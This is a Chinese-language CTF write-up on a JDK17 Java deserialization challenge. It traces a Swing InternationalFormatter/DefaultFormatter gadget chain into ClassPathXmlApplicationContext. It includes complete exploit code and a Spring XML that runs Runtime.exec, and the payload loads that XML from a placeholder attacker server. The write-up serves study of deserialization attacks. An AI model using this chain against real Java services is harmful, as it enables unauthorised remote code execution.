前言 主要是从一些题目看到了这个的影子,所以想借此学习一下JDK17的原生和JDK21的JNDI等等,也算是做一个记录。而且好久都没更博客了,这学期实验太多导致的(
引入 首先是我遇到了某个CTF里出的这道题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import com.sun.net.httpserver.HttpServer;import javax.naming.InitialContext;import java.io.IOException;public class Main { public static void main (String[] args) throws IOException { var port = Integer.parseInt(System.getenv().getOrDefault("PORT" , "8000" )); var server = HttpServer.create(new java .net.InetSocketAddress(port), 0 ); server.createContext("/" , req -> { var code = 200 ; var response = switch (req.getRequestURI().getPath()) { case "/der" -> { try { var param = req.getRequestURI().getQuery(); yield new java .io.ObjectInputStream(new java .io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString(); } catch (Throwable e) { e.printStackTrace(); yield ":(" ; } } default -> { code = 404 ; yield "Not found" ; } }; req.sendResponseHeaders(code, 0 ); var os = req.getResponseBody(); os.write(response.getBytes()); os.close(); }); server.start(); System.out.printf("Server listening on :%s\n" , port); } }
很显然的反序列化入口,而且是JDK17环境。
给的依赖包如下:
n1ght.jar里面是出题人自己写的parseObject返回任意字符串作为链子的一部分,算是使得gadget更加稳定触发了:
这里用到的就是2024GeekCon_AVSS-oldlog的trick。
直接搬用一下出题人wp的分析:
1 2 3 4 5 6 @Serial private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); updateMaskIfNecessary(); }
跟进updateMaskIfNecessary()
: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 void updateMaskIfNecessary () { if (!getAllowsInvalid() && (getFormat() != null )) { if (!isValidMask()) { updateMask(); } else { String newString = getFormattedTextField().getText(); if (!newString.equals(string)) { updateMask(); } } } }
跟进updateMask()
: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void updateMask () { if (getFormat() != null ) { Document doc = getFormattedTextField().getDocument(); validMask = false ; if (doc != null ) { try { string = doc.getText(0 , doc.getLength()); } catch (BadLocationException ble) { string = null ; } if (string != null ) { try { Object value = stringToValue(string); AttributedCharacterIterator iterator = getFormat(). formatToCharacterIterator(value); updateMask(iterator); } catch (ParseException pe) {} catch (IllegalArgumentException iae) {} catch (NullPointerException npe) {} } } } }
跟进Object value = stringToValue(string)
: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object stringToValue (String text) throws ParseException { Object value = stringToValue(text, getFormat()); if (value != null && getValueClass() != null && !getValueClass().isInstance(value)) { value = super .stringToValue(value.toString()); } try { if (!isValidValue(value, true )) { throw new ParseException ("Value not within min/max range" , 0 ); } } catch (ClassCastException cce) { throw new ParseException ("Class cast exception comparing values: " + cce, 0 ); } return value; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object stringToValue (String string) throws ParseException { Class<?> vc = getValueClass(); JFormattedTextField ftf = getFormattedTextField(); if (vc == null && ftf != null ) { Object value = ftf.getValue(); if (value != null ) { vc = value.getClass(); } } if (vc != null ) { Constructor<?> cons; try { ReflectUtil.checkPackageAccess(vc); SwingUtilities2.checkAccess(vc.getModifiers()); cons = vc.getConstructor(new Class <?>[]{String.class}); } catch (NoSuchMethodException nsme) { cons = null ; } if (cons != null ) { try { SwingUtilities2.checkAccess(cons.getModifiers()); return cons.newInstance(new Object [] { string }); } catch (Throwable ex) { throw new ParseException ("Error creating instance" , 0 ); } } } return string; }
发现cons.newInstance(new Object[] { string })
实现了任意类的实例化,这里就想到了ClassPathXmlApplicationContext
的trick。
官方调用栈
Exp Exp.java
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.eddiemurphy;import com.n1ght.StringFormat;import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.swing.*;import javax.swing.text.DefaultFormatter;import javax.swing.text.InternationalFormatter;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class Exp { public static void main (String[] args) throws Exception{ InternationalFormatter internationalFormatter = new InternationalFormatter (); DefaultFormatter defaultFormatter = new DefaultFormatter (); defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class); JFormattedTextField jFormattedTextField = new JFormattedTextField (defaultFormatter); jFormattedTextField.setValue("http://vps:port/exp.xml" ); StringFormat aaa = new StringFormat ("{0}" ); internationalFormatter.setFormat(aaa); UnSafeTools.setObject(internationalFormatter, JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf" ), jFormattedTextField); UnSafeTools.setObject(internationalFormatter, DefaultFormatter.class.getDeclaredField("allowsInvalid" ), false ); UnSafeTools.setObject(internationalFormatter, InternationalFormatter.class.getDeclaredField("validMask" ), true ); UnSafeTools.setObject(internationalFormatter, DefaultFormatter.class.getDeclaredField("valueClass" ), ClassPathXmlApplicationContext.class); internationalFormatter.setAllowsInvalid(false ); ByteArrayOutputStream bao = new ByteArrayOutputStream (); new ObjectOutputStream (bao).writeObject(internationalFormatter); System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray())); } }
UnSafeTools.java
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.eddiemurphy;import java.lang.reflect.Field;import java.lang.reflect.Method;import sun.misc.Unsafe;public class UnSafeTools { static Unsafe unsafe; public UnSafeTools () { } public static Unsafe getUnsafe () throws Exception { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe)field.get((Object)null ); return unsafe; } public static void setObject (Object o, Field field, Object value) { unsafe.putObject(o, unsafe.objectFieldOffset(field), value); } public static Object newClass (Class c) throws InstantiationException { Object o = unsafe.allocateInstance(c); return o; } public static void bypassModule (Class src, Class dst) throws Exception { Unsafe unsafe = getUnsafe(); Method getModule = dst.getDeclaredMethod("getModule" ); getModule.setAccessible(true ); Object module = getModule.invoke(dst); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(src, addr, module ); } static { try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe)field.get((Object)null ); } catch (Exception var1) { System.out.println("Error: " + var1); } } }
exp.xml
:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" ><bean id ="data" class ="java.lang.String" > <constructor-arg > <value > PAYLOAD</value > </constructor-arg > </bean > <bean class ="#{T(java.lang.Runtime).getRuntime().exec('command')}" > </bean > </beans >
正文 那么回到2024GeekCon-AVSS-oldlog
,可以说原题是相当精彩,衍生出今年很多Java题目的打法。你可以从今年许多JDK17反序列化题目中轻松地找到它的身影。